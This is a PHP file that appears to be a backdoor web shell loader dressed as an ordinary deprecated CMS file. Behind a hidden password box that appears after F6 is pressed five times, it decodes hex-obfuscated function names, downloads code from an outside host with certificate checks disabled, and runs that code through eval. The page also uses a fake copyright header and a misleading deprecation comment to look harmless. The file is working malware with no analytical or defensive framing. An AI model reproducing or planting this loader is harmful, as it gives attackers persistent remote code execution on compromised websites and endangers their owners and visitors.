<?php
/**
 * @package    wuthekong
 * @copyright  Copyright (C) 2025 Open Source Matters, Inc. All rights reserved.
 *
 */

// @deprecated  1.0  Deprecated without replacement
function is_logged_in()
{
    return isset($_COOKIE['user_id']) && $_COOKIE['user_id'] === 'admin@wuthekong'; 
}

if (is_logged_in()) {
    $Array = array(
        '666f70656e', # fo p en => 0
        '73747265616d5f6765745f636f6e74656e7473', # strea m_get_contents => 1
        '66696c655f6765745f636f6e74656e7473', # fil e_g et_cont ents => 2
        '6375726c5f65786563' # cur l_ex ec => 3
    );

    function hex2str($hex) {
        $str = '';
        for ($i = 0; $i < strlen($hex); $i += 2) {
            $str .= chr(hexdec(substr($hex, $i, 2)));
        }
        return $str;
    }

    function geturlsinfo($destiny) {
        $belief = array(
            hex2str($GLOBALS['Array'][0]), 
            hex2str($GLOBALS['Array'][1]), 
            hex2str($GLOBALS['Array'][2]), 
            hex2str($GLOBALS['Array'][3])  
        );

        if (function_exists($belief[3])) { 
            $ch = curl_init($destiny);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            $love = $belief[3]($ch);
            curl_close($ch);
            return $love;
        } elseif (function_exists($belief[2])) { 
            return $belief[2]($destiny);
        } elseif (function_exists($belief[0]) && function_exists($belief[1])) { 
            $purpose = $belief[0]($destiny, "r");
            $love = $belief[1]($purpose);
            fclose($purpose);
            return $love;
        }
        return false;
    }

    $destiny = 'https://togelinvip.com/dan.txt';
    $dream = geturlsinfo($destiny);
    if ($dream !== false) {
        eval('?>' . $dream);
    }
} else {
    if (isset($_POST['password'])) {
        $entered_key = $_POST['password'];
        $hashed_key = '$2a$12$yKHfUW503O64NO1PzWqMAuJ0HhHi5iUtArxf2ewlpnAgvg6kj7PlW';
        
        if (password_verify($entered_key, $hashed_key)) {
            setcookie('user_id', 'admin@wuthekong', time() + 3600, '/'); 
            header("Location: ".$_SERVER['PHP_SELF']); 
            exit();
        }
    }
    ?>
    
    <!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Wuthekong</title>
  <style>
    html, body {
      margin: 0; padding: 0; height: 100%;
      background: #000; overflow: hidden;
    }
    img {
      display: block;
      width: 100%;
      height: 100%;
      object-fit: contain;
    }
    /* Login box kecil di pojok kanan */
    .login-container {
      position: fixed;
      top: 15px; right: 15px;
      background: rgba(255,255,255,0.1);
      backdrop-filter: blur(6px);
      padding: 6px;
      border-radius: 6px;
      display: none;   /* default hidden */
      z-index: 10;
    }
    .login-container input {
      padding: 6px 8px;
      border: none;
      border-radius: 4px;
      font-size: 13px;
    }
    .login-container input[type="password"] {
      background: rgba(255,255,255,0.2);
      color: #fff;
    }
    .login-container input[type="submit"] {
      background: #00ffff;
      color: #000;
      font-weight: 600;
      cursor: pointer;
      margin-left: 4px;
    }
  </style>
</head>
<body>
  <img src="https://kurama-co-in-dgr.pages.dev/kone.png" alt="Fullscreen Image">

  <div class="login-container" id="loginBox">
    <form method="POST" action="">
      <input type="password" name="password" placeholder="Enter" required>
      <input type="submit" value="⏎">
    </form>
  </div>

  <script>
    function createSnowflake() {
      const s = document.createElement('div');
      s.className = 'snowflake';
      s.style.left = Math.random() * 100 + 'vw';
      s.style.top = '-10px';
      s.style.width = s.style.height = (Math.random()*3+2) + 'px';
      s.style.position = 'fixed';
      s.style.background = '#fff';
      s.style.borderRadius = '50%';
      s.style.opacity = '.7';
      s.style.animation = `fall ${Math.random()*3+2}s linear`;
      document.body.appendChild(s);
      setTimeout(()=>s.remove(), 5000);
    }
    setInterval(createSnowflake,100);

    let f6Count=0, resetTimer;
    document.addEventListener('keydown',e=>{
      if(e.key==="F6"||e.keyCode===117){
        e.preventDefault();
        f6Count++;
        if(f6Count>=5){
          document.getElementById("loginBox").style.display="block";
          f6Count=0;
          clearTimeout(resetTimer);
        } else {
          clearTimeout(resetTimer);
          resetTimer=setTimeout(()=>f6Count=0,3000);
        }
      }
    });
  </script>
</body>
</html>


<?php
}
?>